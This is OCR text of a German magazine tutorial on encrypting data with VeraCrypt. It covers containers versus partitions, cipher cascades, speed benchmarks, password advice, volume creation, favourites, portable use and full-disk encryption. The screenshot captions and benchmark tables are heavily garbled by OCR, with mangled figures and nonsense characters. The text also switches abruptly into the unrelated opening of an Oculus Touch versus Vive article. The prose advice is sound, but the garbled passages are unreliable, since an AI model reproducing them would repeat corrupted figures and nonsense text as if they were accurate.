rekt implementierten Verschlüs- 
selungsalgorithmen beißen sich 
in der Praxis zwar auch staatliche 
Behörden die Zähne aus, grund- 
sätzlich ist aber keine komplexere 
Software als fehlerfrei einzuschät- 
zen. Wer auf eine möglichst hohe 
Sicherheit bedacht ist, sollte sich 
daher regelmäßig über Aktualisie- 
rungen und aufgespürte Schwä- 
chen informieren, die versierte An- 
greifer nutzen könnten. Veracrypt 
ist für Windows XP bis 10, aber 
auch für Mac OSX und Linux inklu- 
sive Raspbian erhältlich. 


Grundsätzliches 

Veracrypt führt sämtliche Ent- und 
Verschlüsselungsvorgänge automa- 
tisch im laufenden Betrieb durch. 
Sobald ein verschlüsseltes Volume 
angelegt und eingebunden wurde, 
sodass es im Windows-Explorer zur 
Verfügung steht, ist kein weiteres 
Zutun erforderlich. Veracrypt ist so 
programmiert, dass verschlüssel- 
te Daten, die Sie nutzen möchten, 
vor dem Laden in den Arbeitsspei- 
cher entschlüsselt werden, sodass 
für das Betriebssystem und andere 
Software kein Unterschied besteht. 
Während der Entschlüsselung wer- 
den die Daten grundsätzlich nicht 
im Klartext auf den Datenträger 
geschrieben, sondern liegen dort 
weiterhin nur verschlüsselt im Ge- 
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VeraCrypt - Algorithms Benchmark 


Benchmark: Encryption Algorithm v 


Buffer Size: 50 MB SA 


Sort Method: Mean Speed (Descending) 


Algorithm Encryption Decryption Mean 

AES 6.6GB/s x6.4GB/s 6.5 GB/s E 

Serpent 12GB/  12GB/s 1.2 GB/s 

Twofish 1.1GB/s 1.1GB/s 1.1GB/s 

Serpent(AES) 1015MB/s 1019 MB/s 1017MB/s | Speedis affected 

AES(Twofish) 986MB/s 983 MB/s овамв/є | bYCPUload and 
storage device 

Camellia 865MB/s 868 MB/s 867 MB/s characteristics. 

Kuznyechik 630 MB/s 578 MB/s 604 MB/s 

Twofish(Serpent) 583MB/s 594 MB/s 589 MB/s er ng 

AES(Twofish(Serpent)) 542MB/s 545MB/s 544 MB/s 

Serpent(Twofish(AES)) 540 MB/s 544MB/s 542 MB/s 


Parallelization: | 8 threads 


Hardware-accelerated AES: 


Der integrierte Benchmark ermittelt die Geschwindigkeit der Algorithmen — das übli- 
che Bild: AES liegt vorne, Mehrfachverschlüsselung senkt den Durchsatz am stärksten. 


heimtext vor. So ist sichergestellt, 
dass auch bei einem unerwarteten 
Ereignis wie einem Absturz alle 
Daten im von Veracrypt erstell- 
ten Volume weiterhin vollständig 
verschlüsselt vorliegen. Aus dem 
Arbeitsspeicher lassen sich ent- 
schlüsselte Daten zwar nach einer 
Stromunterbrechung noch für ei- 
nige Minuten rekonstruieren, doch 
dafür müssten es schon bestens 
vorbereitete Angreifer konkret auf 
Sie abgesehen haben. 


Partition oder Container? 

Veracrypt bietet Ihnen die Mög- 
lichkeit, eine ganze Partition zu 
verschlüsseln oder lediglich einen 
Container anzulegen. Die Ver- 
schlüsselung der Partition bietet 
sich an, wenn das verschlüsselte 
Volume möglichst viel Speicher- 
platz bieten soll oder jegliche un- 
erwünschten Zugriffe auf die Par- 
tition unterbunden werden sollen. 
Das Anlegen eines Containers ist 
dann sinnvoll, wenn nur ein klei- 
nes verschlüsseltes Volume inner- 
halb der Partition benötigt wird. 
Der nicht verschlüsselte Bereich 
lässt sich wie ein gewöhnliches 
Laufwerk nutzen. Bei Bedarf kön- 
nen Sie dort eine portable Version 
von Veracrypt platzieren, um auch 
an PCs, auf denen Veracrypt nicht 
installiert ist, auf den Container- 
Inhalt zugreifen zu können. Die 
Container-Lösung bietet sich bei- 
spielsweise auch dann an, wenn Sie 
mehrere verschlüsselte Bereiche 
zur getrennten Verwaltung auf ei- 
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nem USB-Stick anlegen möchten 
- etwa geschäftliche Daten in den 
ersten Container, Privates in den 
zweiten Container. 


Praktisch: Die Verschlüsselung ei- 
ner ganzen Partition und das Anle- 
gen von Containern schließen sich 
nicht gegenseitig aus. Sie können 
also eine Partition vollständig ver- 
schlüsseln und - nachdem Sie mit 
Veracrypt die Partition als nutzba- 
res Laufwerk eingebunden haben 
- verschlüsselte Container inner- 
halb der bereits verschlüsselten 
Partition anlegen. Sogar innerhalb 
von Containern lassen sich weite- 
re Container anlegen (wovon wir 
aufgrund des erhöhten Rechenauf- 
wands und des verkomplizierten 
Zugriffs allerdings abraten.) 


Welches Verfahren? 

Veracrypt unterstützt eine Reihe 
unterschiedlicher — Blockchiffren. 
Die zur Auswahl stehenden Algo- 
rithmen wandeln mithilfe eines 
Schlüssels 128 Bit große Daten- 
blöcke von Klartext in Geheimtext 
um. Für die Ver- und Entschlüsse- 
lung kommt der gleiche Schlüssel 
zum Einsatz, daher handelt es sich 
symmetrische Verschlüsse- 
lungsverfahren. Advanced Encryp- 
tion Standard (AES) ging aus einem 
strengen Auswahlverfahren als of- 
fizieller Nachfolger des veralteten 
Data Encryption Standards (DES) 
hervor und ist für die meisten An- 


um 


wender eine sehr gute Wahl. Das 
liegt insbesondere daran, dass es 


Sichere Passworter 


Auch die beste Verschlüsselungstechnik ist oh 


ne ein sicheres Passwort 


leicht zu knacken - hier ein paar Tipps und Anregungen. 


Passwörter sollten weder durch soziale Manipulation noch durch maschinelle 
Verfahren leicht zu knacken sein. Passwörter wie Ihr Geburtsdatum oder der Name 


Ihres Haustieres sind für Personen leicht zu erraten, di 


e sich mit Ihrem Privatleben 


auseinandersetzen, was dank Facebook & Co. so leicht ist wie nie. Sie sollten daher 
nicht als Passwort verwendet werden, sondern höchstens Merkhilfe für eine längere 
Passphrase sein. Bei maschinellen Angriffen werden sehr viele Passwörter in kurzer 


Zeit zufällig durchprobiert, 

gegebenfalls unter Zuhilfenah- 
me von Wörterbüchern, wobei 
Passwörter mit einer erhöhten 


Ange? zum Erstellen eines VeraCrypt-Velumes. 


WARNUNG: Kurze Passwörter und leicht durch Ausprobieren sämtlicher 
Kombinationen zu knacken! 


Empfehlenswerte Passwörter bestehen aus mehr als 20 Zeichen. 


Erfolgsaussicht zuerst getestet 
werden. Auswertungen von 
gehackten Nutzerdatenbanken 


zeigen, dass sich Passwörter 
wie , 123456”, „Passwort”, 
„Sesamöffnedich” sowie (Vor)Namen und Variationen 
erfreuen; sie sind dementsprechend unsicher und schnell geknackt. Bekannte Zitate 


und Passagen aus Filmen, Büchern oder Liedtexten so 


Maschinelle Angriffe lassen sich durch die Wahl eines 


Möchten Sie das kurze Passwort wirklich verwenden? 


EC 


davon hoher Beliebtheit 


Iten gemieden werden. 


großen Zeichenraums in Kom- 


bination mit einer hohen Passwortlänge stark erschweren. Der Zeichenraum lässt 


sich durch die Verwendung von Groß- und Kleinbuchs 
chen ausweiten, was die Sicherheit bei gleicher Länge 
gemein: Je länger, desto sicherer. Veracrypt unterstütz 


aben, Zahlen und Sonderzei- 
erhöht. Für Passwörter gilt all- 
bis zu 64-stellige Passwörter, 


empfohlen werden mindestens 20 Stellen. Zufällige Zeichenfolgen sind zwar optimal, 


lassen sich aber kaum merken. Eine praxistaugliche 


ethode besteht daher darin, 


sich einen sinnvollen, leicht zu merkenden Satz zu überlegen und zu modifizieren. 
Aus „Wenn man sich auf die Anfangsbuchstaben beschränkt, ist es leicht sich lange 
Passwörter mit über 20 Zeichen zu merken.” lässt sich beispielsweise die Passphrase 
,WmsadAb,ielslIPmü20Zzm." basteln. Ein auf diese Weise gebildetes langes Pass- 
wort lässt sich selbst mit viel Rechenleistung im Rücken praktisch nicht knacken. 


USB-3.0-Stick: Wie stark bremst Verschlüsselung? 


Crystal Disk Mark v5.2.0 - Sequenzielle Leserate, NTFS-formatiert 


Nicht verschlüsselt RE 98,8 
AES E 96, 

Serpent [Xm 96,1 

Twofish maaa 

Camellia a 96, 

Kuznyechik a——sswrc 96,1 
AES(Twofish) maaa 96,1 
AES((Twofish)Serpent) uu 96, 
wao. 
=s. 
Twofish(Serpent) a 96, 


Crystal Disk Mark v5.2.0 — Sequenzielle Leserate (4K), NTFS-formatiert 


Serpent(AES 


) 
Serpent(Twofish(AES)) 


Nicht verschlüsselt EEE 10,9 
AES Wir 
Serpent [X 7,6 
Twofish В 8 7,6 
Camellia В 7,6 
Kuznyechik ЖШ 7,6 
AES(Twofish) BI 7,6 
AES((Twofish)Serpent) ЖШ 7,6 
Serpent(AES) Ж 7,6 
Serpent(Twofish(AES)) В 7,6 
Twofish(Serpent) 7,6 


System: Core i7-6700K, Asus Maximus VIII Extreme (UEFI 2202), Zotac GeforceGT 640, 
Adata Superior Series 5107 32GB; Win 10 64 Bit Bemerkungen: Da die Transferraten weit 
unterhalb des CPU-Limits liegen, bremst vermutlich der Treiber bei vielen kleinen Dateien. 


MB/s 
» Besser 
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seit 2008 mit AES-NI eine Befehls- 
satzerweiterung für x86-Prozes- 
soren gibt, die mittlerweile selbst 
von sehr günstigen Semprons und 
Celerons unterstützt wird und die 
Ausführunəg stark beschleunigt. 


Wer auf eine besonders hohe Si- 
cherheit bedacht ist, hat die Mög- 
lichkeit, bis zu drei unterschied- 
liche hintereinandergeschaltete 
Chiffren zu nutzen. Sollte zukünf- 
tig für eines der Verfahren eine 
Schwachstelle bekannt werden, 
welche den Angriff auf die Ver- 


schlüsselung stark erleichtert, sind 
durch eine Verschlüsselungskas- 
kade geschützte Daten weiterhin 
sicher, da ein Angreifer sámtliche 
Methoden knacken muss, um den 
Klartext zu erhalten. Der Nachteil: 
Je komplexer die Verschlüsselung, 
desto hóher ist der Rechenaufwand 
für den Prozessor. 


Wieviel Leistung kostet es? 
Da Veracrypt sämtliche logischen 
Prozessorkerne zur Ver- und Ent- 
schlüsselung nutzt, erzielen moder- 
ne Prozessoren sehr hohe Durch- 


satzraten. Unser auf 4 GHz fixierter 
Core i7-6700K erreicht dank AES- 
Erweiterung Spitzenwerte um 6,5 
GB/s. Am langsamsten sind wie 
erwartet die aus drei einzelnen 
Verfahren bestehenden Verschlüs- 
selungskaskaden, die bei rund 550 
MB/s und damit nur noch auf dem 
Niveau guter SATA-SSDs liegen. 


Wie unser Benchmark zeigt, ist die 
Art der Verschlüsselung mit einem 
durchschnittlichen USB-3.0-Stick 
nicht leistungsrelevant. Zu beob- 
achten ist mit Verschlüsselung al- 


lerdings eine geringere Leserate 
bei kleinen Dateien. Da diese weit 
unterhalb des theoretischen Limits 
liegt und unabhängig von der ge- 
wählten (Kaskade von) Chiffre(n) 
ist, bremst móglicherweise der von 
Veracrypt genutzte Gerätetreiber, 
welcher die Ver- und Entschlüsse- 
lung überhaupt erst ermóglicht. 
Jener ist übrigens auch die Ursa- 
che, weshalb die Nutzung von Ve- 
racrypt ohne Administratorrechte 
nur eingeschränkt möglich ist. Zur 
individuellen Beurteilung empfeh- 
len wir, vorab einen Benchmark 


Veracrypt-Volume erstellen (Beispiel: Container) 


гур! х 
1 System favoriten Extras Einstellungen Hite Webseite 
IW ` eme Größe чепей)... Тур 2 
^ 
-—5: 
=t: 
ar: 
әс 
== 
=: 
EI 
mt: 
а. 
won: А 
r a Uigenschaften Cache scher löschen 
Volume 

[ Dates 

vum E vertouf ict spechemn Yol.-Operatonen Datenträger 

Erbnden Ale Daten, einbinden Ме тетеп Beenden 


Starten Sie die Erstellung per Klick auf „Volume 


erstellen”. 


um Erstellen eines VeraC rypt- Velumes - x 
Volume-Speicherort 


Olim des Containers v] 
F erisut nicht speichern 


En VeraCrypt-Votume kann in ener Datei legen (еге 
VeraOryot-Contanerdate), de sch auf ener Кейде, ener 
Parton, einem USB Siik uya, befindet. Ene 
VeraCrypt-Lontanerdate verhält sch genau wie ene normale Datei 
(se kann zum Beispiel wie eine normale Date eet, bewegt oder 
gelöscht werden). Gen Se auf „Dates ...", um einen Dateinamen 
und den Specherort für де Contanerdatei zu wählen. 


ACHTUNG: Wenn Sie eine bestehende Date wählen, wrd veraCrypt 


verschlussen, nden эе dese не n den neuen 


VeraCrypt “Жл Сот езет, den Se gerade елет. 


Legen Sie nun fest, in welcher Datei das Volume 
stecken soll. Veracrypt erstellt wahlweise eine neue 


Container-Datei oder wandelt eine existierende Datei 
um, deren Inhalt dabei verlorengeht. 


тит Erstellen eines VeraCrypt- Volumes. - x 


VeraCrypt- Volume erstellen 


(8) Eine verschlüsselte Containerdatei erstellen 
Erstelt ein verschlissees vr teles Laufwerk, welches ab Datei 
gespeichert wrd. Für Anfänger empfehlen. 
Mehr Informationen 
(O Verschlüsselt eine Partition] ein Laufwerk 
Verschiosselt ene Nicht ystempuarston auf eisernen oder 
externen Laswerken (Ak normalen oder versiecktas Volume). 
O System Partition bew. System Laufwerk verschlissein 


Partto Laufwerk verschiussen auf den Wridows rstallert st. 
Jeder, der Tuganq zum System erlangen mochte, muss das 
korrekte Passwort bes jedem Start von Windows ergeben. Ere 
Alternate dan is dos Erstellen ei versteckt бунте. 


VeraCrypt 
Мах Infgrmabonen über de Snlemnerschlisschng 


[Гн 7] ШЕ м > 


Sie können entweder einen Container, eine Partition 


‚Abbrechen 


oder ein ganzes Laufwerk verschlüsseln. Für dieses 
Beispiel wählen wir einen Container. 


um Erstellen eines Vera rypt-Velumes - x 


Verschlüsselungseinstellungen 


VeraCrypt 


Wählen Sie die gewünschte(n) Blockchiffre(n) aus. AES 
ist sicher und sehr schnell, Kaskaden bieten aber noch 
höhere Sicherheit. 


zum Erstellen eines VeraCrypt Volumes. x 


Volume-Typ 


(® Standard YeraCrypt- Volume. 
Diese Option zum Erstellen eines normalen VeraCrygt Volume. 
| wählen, 


O Verstecktes VeraCrypl-Volume 


Es karn vorkommen, dass Sie von jemandem gezwungen. 
werden das Passwort für ein Verschlüssehes Volume zu 
verraten. Es дб viele Satonen, in denen Se sch nicht 


M. wegen konnen, das Passwort herausrugeben (1.0. 

Mt Hife eres sogenannten versteckten Volumes. 
тшеп Se in sokhen Situationen das Passwort res 
(versteckten) Volumes net herausgeben. 

VeraCrypt 
Mehr Informationen über versteckte Volumes. 


Bei Bedarf lässt sich ein zusätzliches Volume in einem 
verschlüsselten Bereich verstecken, was für die meisten 


Anwendungsszenarien nicht erforderlich ist. Wir 
beschränken uns auf ein Standard-Volume. 


ent zum Erstellen eines VeraCrygt-Volumes. - x 


Volume-Größe 


юз Оз m Оа On 


Auf Laufwerk DA sind noch 29.36 GB frei. 


Вне Größe des zu erstellenden Containers angeben. 


Wenn ве eren dynamischen (sparse Datei) Container erstellen, 
dan gbt deser Wert sene maximal mogiche Größe an. 


Манев: A De 
Meidestiy be eres exFAT Volumes кї 424 КЕ. De Манеу бе 
eres NTFS Volumes wt 379208. 


VeraCrypt 


ме «Ark [Геи] | Abbrechen 


Legen Sie die Größe des Volumes fest. Container lassen 


sich bei Bedarf später erweitern, sofern noch Platz auf 
der Partition frei ist. 


zum Erstellen eines VeraCrypt-Volumes - x 


Volume-Passwort 


Es wird dengend amploh en quies Passwort гы mählen. Passsérter 
de in einem Wörterbuch гы finden sind (ur eberso Karbinatenen. 
өл 2, З oder 4 sokher Wörter) sollten richt verwendet werden, Das 
Passwort salte kere Namen oder Geburtstage entem, und nicht 


<$" ett Es gt zudem enpfehleramert en 
Set nu nahen Ge irge ure рене). De née npe e 
tf 64 Zeichen beschränkt. 


Bestimmen Sie das Passwort, mit dem Sie Zugang zum 


verschlüsselten Bereich erhalten (siehe Extrakasten zu 
sicheren Passwörtern). 
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Bei Bedarf können Sie eine Schlüsseldatei von Veracrypt 
erzeugen lassen oder eine beliebige Datei angeben. So 
gesichert, lässt sich das Volume nur mit Passwort und 
Schlüsseldatei zusammen verwenden - legen Sie daher 
unbedingt ein Backup der originalen Schlüsseldatei an! 


ent zum Erstellen eines VeraCrypt-volumes - x 


Volume-Format 


Dosanen 
Dateisystem [NTFS =] Custer (Vorgabe — Clownen 


Abbrechen 
re Geschw. Rest 
WICHTIG: Den Mauszeiger in desen Fenster zufalighin- und. 


Pre d um mt der Erstellung für! 

p ———————3À—3 

Legen Sie nun das Dateisystem des Volumes fest und 
bewegen Sie die Maus innerhalb des Fensters, bis die 


VeraCrypt 


untere Leiste grün leuchtet, um Zufallsdaten für die 
Schlüsselerzeugung zu liefern. Nach Klick auf „Forma- 


tieren” wird das Volume erstellt. 
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durchzuführen und die für das 
Speichermedium ermittelten Leis- 
tungswerte anschließend mit dem 
verschlüsselten Bereich zu verglei- 
chen. Anhand der Ergebnisse kön- 
nen Sie dann entscheiden, ob der 
Leistungsverlust für Sie akzeptabel 
ist oder ob Sie eine performantere 
Chiffre ausprobieren möchten. 


Verschlüsselung loswerden? 
Verschlüsselte Volumes lassen sich 
natürlich wieder in nicht verschlüs- 
selte Bereiche umwandeln. Die 
einfachste Methode besteht darin, 
einen Container zu löschen oder 
den Datenspeicher zu formatieren 
und eine neue Partition anzulegen. 
Da dabei alle Daten im verschlüssel- 
ten Bereich verlorengehen, sollten 
Sie diese bei Bedarf zuvor an einen 
sicheren Ort kopieren. Die zweite 
Methode besteht in der Entschlüs- 
selung des gesamten Bereichs, 
steht allerdings nicht für Contai- 
ner, sondern nur für ganze Partiti- 
onen zur Verfügung. Diese Funkti- 
on steckt im Reiter ,Volumes* und 
nennt sich „Dauerhaft entschlüs- 
seln ...“ Planen Sie ausreichend Zeit 
ein, denn der Vorgang kann zwar 
beliebig oft unterbrochen und neu 
gestartet werden, doch erst nach 
der vollständigen Entschlüsselung 
haben Sie wieder Zugriff auf die 
gespeicherten Daten. 


Falls Sie im Laufe der Zeit lediglich 
feststellen, dass Sie mehr Speicher- 
platz in einem Container benöti- 
gen, können Sie die Größe nach- 
träglich erhöhen: Rufen Sie dazu 
den „Volumen-Erweiterer“ im Rei- 
ter „Extras“ auf. 


Vollverschlüsselung 

Selbstverständlich können wir in 
diesem Artikel nur eine Auswahl 
sämtlicher Funktionen von Vera- 
crypt zeigen. Tatsächlich kann die 
Software noch viel mehr, weshalb 
wir Interessierten ein Studium des 
ausführlichen Handbuchs im PDF- 
Format empfehlen, das Sie sowohl 
im Download-Bereich der Website 
als auch im Installationsverzeichnis 
finden. Neben der Verwendung 
von Smart Cards oder Fingerab- 
drucksensoren für zusätzliche Si- 
cherheit ist es beispielsweise móg- 
lich, das komplette Boot-Medium 
zu verschlüsseln, was inzwischen 
auch mit UEFLSystemen funktio- 
niert. Die Authentifizierung erhóht 
zwat die Startzeit, vor allem jedoch 
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die Sicherheit deutlich. Damit ist 
nämlich sichergestellt, dass für 
Anwender schwierig im Überblick 
zu behaltende, für Unbefugte aber 
oft sehr aufschlussreiche Daten 
wie Registry-Einträge, temporär 
gespeicherte Inhalte und Zugriffs- 
protokolle verschlüsselt vorliegen. 
Auch wichtige und oft genutzte 
Programme, etwa Browser inklu- 
sive Verlauf, Cookies, Lesezeichen 
und hinterlegter Passwörter, lassen 
sich so zuverlässig absichern. 


Das ist nicht nur für oft mitgeführ- 
te Notebooks ideal, allerdings gibt 
es auch Nachteile: Vor jedem Start 
des Betriebssystems ist eine Au- 
thentifizierung erforderlich, außer- 
dem sinkt die Gesamtleistung des 
Systems. Via PCI-Express angebun- 
dene Hochleistungs-SSDs können 
empfindlich eingebremst werden. 
Wird der Boot Loader beschädigt, 
ist der Zugriff außerdem nur noch 
über ein spezielles Rettungsmedi- 
um namens Veracrypt Rescue Disk 
möglich, das Sie bei der Komplett- 
verschlüsselung anlegen und gut 
aufbewahren müssen. Im Fall der 
Fälle dauert die Entschlüsselung 
größerer Laufwerke mit diesem 
Hilfsmittel zudem mehrere Tage, 
da diverse Leistungsoptimierungen 
im Rettungsmodus nicht zur Verfü- 
gung stehen. 


Dem Autor dieser Zeilen ist ein Fall 
bekannt, in dem die verschlüssel- 
te Festplatte eines Notebooks im 
Rahmen einer Flugreise beschädigt 
wurde, nur noch unter bestimmten 
Umständen anlief und sich der In- 
halt nicht mehr entschlüsseln ließ. 
Im unverschlüsselten Zustand hät- 
ten sich womöglich noch Daten mit 
einem überschaubaren Aufwand 
retten lassen. Regelmäßige Back- 
ups sind also Pflicht. Bedenken Sie 
in diesem Zusammenhang auch: 
Gute Verschlüsselungssoftware 
bietet keine Hintertür. Kommt Ih- 
nen das Passwort abhanden, haben 
Sie keine Möglichkeit, wieder an 
Ihre Daten zu gelangen. 


Alternativen? 

Je nach PC-Konfiguration ist die 
Hardware-basierte Verschlüsse- 
lung geeigneter Festplatten und 
SSDs oder die vom Betriebssystem 
zur Verfügung gestellte Verschlüs- 
selungsmethode möglicherweise 
zu bevorzugen. Bei proprietären 
Umsetzungen wie Microsofts Bit- 


Container einbinden 


VeraCrypt 
es System Favoriten Extras Einstellungen Hile 


Сеобе Verschiosselungsaic. 


Passwort für D'Neene- des Cortamers eingeben 


— | sure m 
PKCS-SPRf: | Automatische Erkennung Ç [C] пестуе Modus 
CPM verwenden 
(Ороно und бенки m Cache halten. 


Грот anzgen 
E Schnsekdot, verwenden | Schlsseitateen — 


VeraCrypt - Schlüsseldateien 


Dateien auf. мы... Token /SmartCard Entfernen 


Jede Art von Dates (1.8. mod, ро, 1) kann als VeraCrypt- 
етай den Inhalt der Schicaseldates. Se 


Volumes System Favoriten Fam Einstellungen Hilfe 


Ge Verschlüsselungssis.. Тур 


Markieren Sie einen 
Laufwerksbuchsta- 
ben, den das Volume 
tragen soll. Klicken 
Sie dann „Datei ..." 
zum Öffnen eines 
Containers (oder 
„Datenträger ..." 
zum Öffnen einer 
Partition) und wählen 
Sie den korrekten 
Eintrag aus. 


Nach dem Klick auf 
„Einbinden“ öffnet 
sich ein Fenster, in 
dem Sie das Passwort 
eintragen. 


Falls Sie eine Schlüs- 
seldatei verwenden, 
dann haken Sie die 
Option dazu an und 
geben Sie den Pfad 
entsprechend an. 


Nach dem Klick auf 
„ОК“ dauert es 
üblicherweise 3-5 
Sekunden, bis das 
Volume eingebunden 
ist und im Windows- 
Explorer erscheint. 
Um das Volume zu 
entfernen, klicken 
Sie auf „Trennen” 

— es verschwindet 
dann auch aus dem 
Windows-Explorer. 
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locker müssen Sie allerdings dem 
Entwickler vertrauen, da unabhän- 
gige Sicherheits: und Kryptogra- 
fie-Experten mangels öffentlich 
vorliegendem Quellcode eventuell 
vorhandene Hintertüren schwerer 
entdecken können. Fairerweise 
sei aber auch gesagt: Nur weil ein 
Quellcode öffentlich ist, heißt es 
nicht, dass er einer professionellen 
Analyse standhalten würde; die für 
Veracrypt und dessen veralteten 


Vorläufer Truecrypt durchgeführ- 
ten Audits sind daher ein handfes- 
ter Vorteil. 


Bedenken Sie, dass das Verschlüs- 
seln von Datenträgern nur gegen 
bestimmte unbefugte Zugriffe 
schützt. Lassen Sie etwa einen PC 
unbeaufsichtigt, auf dem ein Verac- 
ryptVolume geöffnet ist, kann je- 
der auf dessen Inhalt zugreifen. Das 
gilt auch für sämtliche Bedrohun- 


gen, die im Internet lauern: (Kryp- 
to-)Trojaner, Keylogger und ande- 
re Schädlinge können die Daten 
Ihrem Zugriff entziehen, löschen 
oder ausspähen. Diese Gefahr be- 
steht insbesondere dann, wenn Sie 
verschlüsselte Bereiche an PCs nut- 
zen, die Sie nicht selbst verwalten 
- erst recht wenn diese öffentlich 
zugänglich und wenig vertrauens- 
würdig sind, etwa in Bibliotheken 
oder Internet-Cafes. (sw) 


Daten verschlüsseln 

Wer sich für die Einrichtung etwas Zeit 
nimmt, kann seine Daten gut gegen 
Unbefugte absichern. Verschlüsseln ist 
grundsätzlich allen Anwendern zu emp- 
fehlen, die oft sensible Daten transpor- 
tieren, welche bei einem Verlust nicht 
in fremde Hände gelangen sollen. Vera- 
crypt ist dafür ein gutes, aber natürlich 
nicht das einzige Werkzeug. 


x 
Webseite 


№ VeraCrypt 


Volumes System Favoriten Extras Einstellungen Hilfe 


LW Volume Eingebundenes Volume zu Favoriten hinzufügen 


Eingebundenes Volume zu Systemfavoriten hinzufügen ... 


0: 


=P: Favoriten-Volumes Einstellungen ... 
a Systemfavoriten-Volumes Einstellungen ... 


=s: Favoriten einbinden 


PCGH-Container 


Cache sicher löschen 


Volume erstellen Eigenschaften E 


Ein eingebundenes Volume kónnen Sie zu Ihren Favoriten hinzufügen und dabei 
konfigurieren, wie Veracrypt mit dem Volume standardmäßig verfahren soll. Bereits 
angelegte Favoriten verwalten Sie über „Favoriten-Volumes Einstellungen ..." 


leraCrypt – Favoriten-Volumes 


LW Bezeichnung 


Volume PIM: 


(Leer oder 0 für vordefinierte Iterationen) 


PIM anzeigen 
Bezeichnung des gewählten Favoriten-Volumes: 

PCGH-Container 

[С] Bezeichnung des gewählten Volumes für Explorer verwenden 

Ausgewähltes Volume schreibgeschützt einbinden 

МЛ Ausgewähltes Volume als Wechselmedium einbinden 

Ausgewáhltes Volume beim Anmelden einbinden 

М] Ausgewähltes Volume einbinden, wenn sein Host-Gerät angeschlossen wird 

[7] Explorer-Fenster für das gewählte Volume öffnen, wenn es erfolgreich eingebunden wurde 

[Г] Ausgewähltes Volume nicht einbinden, wenn die „Favoriten einbinden"-Tastenkombination gedrückt wird. 


Hilfe zu Favoriten-Volumes OK | Abbrechen 


Sie können zum Beispiel eine eindeutige Bezeichnung festlegen, die auf Wunsch vom 
Windows-Explorer verwendet wird — sehr zu empfehlen, falls Sie mit vielen Volumes pa- 
rallel arbeiten. Mit den von uns angehakten Optionen startet der Veracrypt-Hintergrund- 
dienst nach dem AnschlieBen des Datenspeichers automatisch das Passwort-Eingabefens- 
ter und öffnet nach dem Einbinden den Windows-Explorer. Das Volume auf dem USB-Stick 
móchten wir zudem wie ein jederzeit entfernbares Wechselmedium handhaben. 
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Die Erstellung einer , Traveler 
Volumes System Favoriten Extras | Einstellungen ife Disk" ist für einen mitgeführ- 
Ir -— — NIS ten Datenspeicher mit einem 

joren — 

verschlüsselten Bereich gedacht, 
welchen Sie auf Rechnern nutzen 
möchten, auf denen Veracrypt 
nicht installiert ist. Starten Sie 
das Konfigurationsprogramm für 
die Erstellung einer „Traveler 
Disk”. 


E 

aQ Traveler-Disk-Installation .. 

аз: c 
Volume Erweiterer 


VeraCrypt-Volume erstellen 


Schlusseldateilen) generieren 
Sicherheitstoken-Schlüsseldateien verwalten — 
Alle Sicherheitstoken-Sitrungen schließen 


Velume-Kepfdaten sichern — 
Velume-Kopfdaten wiederherstellen _ 


Laufwerksbuchstaben aktualisieren 


-Verlauf löschen 


wert-Cache sicher löschen 


Geben Sie oben den Pfad an, in 
dem eine portable Version von 
Veracrypt gespeichert werden 
soll. Sie können optional Parame- 
ter für den Autostart festlegen, 
etwa das automatische Starten 
von Veracrypt und Einbinden des 
Volumes. Das funktioniert aller- 
dings nur, wenn das Betriebssys- 
tem für den Autostart konfiguriert 
ist — darauf hat Veracrypt keinen 
Einfluss. 


[o^ Dardodan. 
EZ Assstent fur de Erstelung von veraCrypt Volumes ege 


Autotta onfi aton (ж Ату e 


var -Volume autom. einbinden (we unten angegeben) 
rstelungen bem Eronder 
——— i i lr RCM 


ROO ame Оо ~. 


ийе Фе: V; 
EZ Емре Fenster für eingebundenes Volume öffnen 
as serreboeschütrtes Laufwerk erorcen 
[Passwort im Cache halten 
РІМ beim Zmischenspeichern enes Passworzes enbenehen 


Anschließend befindet sich unter 
dem gewünschten Pfad ein Ordner, 
der eine ohne Installation lauffähi- 
ge Version von Veracrypt bereithält. 
Falls der Autostart deaktiviert ist, 
können Sie , VeraCrypt.exe" bezie- 
hungsweise , VeraCrypt-x64.exe" 
für 64-Bit-Systeme manuell starten, 
um die Volumes einzubinden und 
zu verwalten. Sie benótigen am 
genutzten PC allerdings Administ- 
ratorrechte. 


B 8 s 1 DAVeraCrypt 


Stat freigeben Ansicht 


+ |)» Dieser bt » VeraCrypt Traveler Disk (D) > VeraCrypt 


^ Name 


] Dieser PC 

= Bilder 
Desktop 

19 Dokumente 
Downloads 


=) Language demi 


< VersCrypt F oenat exe 

к VeraCrypt Foemat-x54 exe 
< VersCrypt.exe 

` verscrypt.sys 

% МегаСгуреГхрапаег exe 


Musik 

И videos ` VersCrypttypander-vfd eve 
Ze Lokaler Datenträger (C:) 

e VeraCrypt Traveler Disk (0:) 


System Volume Information 


 VeraCrypt-y64 exe 
) versetypt sign 


` ` VeraCiypt 
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Oculus Touch vs. Vive 


Monatelang sicherten die beiliegenden VR-Controller der HTC Vive den Virtual-Reality-Thron, aber 


jetzt bläst Oculus mit Touch zum Gegenangriff. Wir nehmen das Rift-Zubehór unter die Lupe. 


\ ТК ist nicht gleich УК, das wird 

spätestens beim Vergleich der 
aktuellen VR-Headsets mit älteren 
Versuchen klar. Aber wie wir in der 
letzten Ausgabe anhand von HTC 
Vive, Oculus Rift und Sonys Playsta- 
tion VR gezeigt haben, gibt es auch 
in der aktuellen Generation sicht- 
bare Unterschiede - und darüber 
hinaus auch wortwörtlich fühlbare. 
Zeit, sich die VR-Controller genau- 
er anzuschen. 


Realität in Spielen 
Um sich in den virtuellen Raum 
hineinversetzt zu fühlen, muss 


dessen Darstellung nicht nur rea- 
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listisch auf Kopfbewegungen re- 
agieren, man muss auch mit ihm 
interagieren können. Trivial fällt 
die Eingabe in Renn- und Flug- 
Lenkrad und 
Joystick gehören zur Standardaus- 
stattung Spieler 


simulationen aus: 
ambitionierter 
und funktionieren natürlich auch 
dann, wenn man die statische 2D- 
Ausgabe eines Monitors gegen den 
dynamischen Raumblick eines VR- 
Headsets tauscht. In vielen Genres 
sind aber unrealistische, abstrakte 
Eingabemethoden üblich, die die 
VR-Immersion sofort stören. Oder 
öffnen Sie Türen, indem sie ei- 
nen Meter davor stehen und eine 


„Benutzen“-Taste drücken? Eine 
Taste, die alternativ Waffen vom 
Boden aufhebt (natürlich ohne 
sich danach bücken zu müssen) 


und Telefone bedient? 


All diese Vorgänge werden im ech- 
ten Leben mit Fingerbewegungen 
nach Platzierung der eigenen Hand 
an der richtigen Stelle ausgelöst. 
Übernimmt man dieses Prinzip in 
die virtuelle Realität steigt nicht 
nur die Immersion deutlich, auch 
die Bedienung bislang unbekann- 
ter Spielprinzipien erlent man we- 
